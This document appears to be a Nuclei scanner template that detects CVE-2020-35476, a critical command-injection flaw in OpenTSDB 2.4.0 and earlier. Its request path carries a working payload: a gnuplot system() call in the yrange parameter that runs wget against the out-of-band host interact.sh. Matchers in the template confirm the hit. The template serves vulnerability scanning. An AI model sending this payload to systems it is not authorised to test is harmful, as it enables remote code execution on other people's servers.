id: CVE-2020-35476 info: name: OpenTSDB <= 2.4.0 - Remote Code Execution author: pikpikcu severity: critical description: OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory. reference: - https://github.com/OpenTSDB/opentsdb/issues/2051 - https://nvd.nist.gov/vuln/detail/CVE-2020-35476 - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-35476 cwe-id: CWE-78 tags: cve,cve2020,opentsdb,rce,packetstorm requests: - method: GET path: - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://interact.sh%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json" matchers-condition: and matchers: - type: status status: - 200 - type: word words: - plotted - timing - cachehit part: body condition: and - type: word words: - application/json part: header # Enhanced by mp on 2022/04/28